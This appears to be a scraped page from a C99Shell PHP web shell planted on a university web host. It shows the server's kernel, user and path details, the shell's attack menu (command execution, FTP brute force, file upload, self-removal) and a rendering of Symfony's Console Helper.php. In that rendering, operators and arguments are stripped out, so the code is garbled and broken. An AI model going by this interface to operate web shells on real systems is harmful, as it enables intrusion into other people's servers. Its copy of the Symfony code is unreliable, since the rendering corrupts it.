!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/console/Helper/   drwxr-xr-x
Free 116.86 GB of 200.55 GB (58.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Helper.php (3.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Helper;

use 
Symfony\Component\Console\Formatter\OutputFormatterInterface;

/**
 * Helper is the base class for all helper classes.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
abstract class Helper implements HelperInterface
{
    protected 
$helperSet null;

    
/**
     * Sets the helper set associated with this helper.
     *
     * @param HelperSet $helperSet A HelperSet instance
     */
    
public function setHelperSet(HelperSet $helperSet null)
    {
        
$this->helperSet $helperSet;
    }

    
/**
     * Gets the helper set associated with this helper.
     *
     * @return HelperSet A HelperSet instance
     */
    
public function getHelperSet()
    {
        return 
$this->helperSet;
    }

    
/**
     * Returns the length of a string, using mb_strwidth if it is available.
     *
     * @param string $string The string to check its length
     *
     * @return int The length of the string
     */
    
public static function strlen($string)
    {
        if (
false === $encoding mb_detect_encoding($stringnulltrue)) {
            return 
strlen($string);
        }

        return 
mb_strwidth($string$encoding);
    }

    public static function 
formatTime($secs)
    {
        static 
$timeFormats = array(
            array(
0'< 1 sec'),
            array(
1'1 sec'),
            array(
2'secs'1),
            array(
60'1 min'),
            array(
120'mins'60),
            array(
3600'1 hr'),
            array(
7200'hrs'3600),
            array(
86400'1 day'),
            array(
172800'days'86400),
        );

        foreach (
$timeFormats as $index => $format) {
            if (
$secs >= $format[0]) {
                if ((isset(
$timeFormats[$index 1]) && $secs $timeFormats[$index 1][0])
                    || 
$index == count($timeFormats) - 1
                
) {
                    if (
== count($format)) {
                        return 
$format[1];
                    }

                    return 
floor($secs $format[2]).' '.$format[1];
                }
            }
        }
    }

    public static function 
formatMemory($memory)
    {
        if (
$memory >= 1024 1024 1024) {
            return 
sprintf('%.1f GiB'$memory 1024 1024 1024);
        }

        if (
$memory >= 1024 1024) {
            return 
sprintf('%.1f MiB'$memory 1024 1024);
        }

        if (
$memory >= 1024) {
            return 
sprintf('%d KiB'$memory 1024);
        }

        return 
sprintf('%d B'$memory);
    }

    public static function 
strlenWithoutDecoration(OutputFormatterInterface $formatter$string)
    {
        
$isDecorated $formatter->isDecorated();
        
$formatter->setDecorated(false);
        
// remove <...> formatting
        
$string $formatter->format($string);
        
// remove already formatted characters
        
$string preg_replace("/\033\[[^m]*m/"''$string);
        
$formatter->setDecorated($isDecorated);

        return 
self::strlen($string);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0112 ]--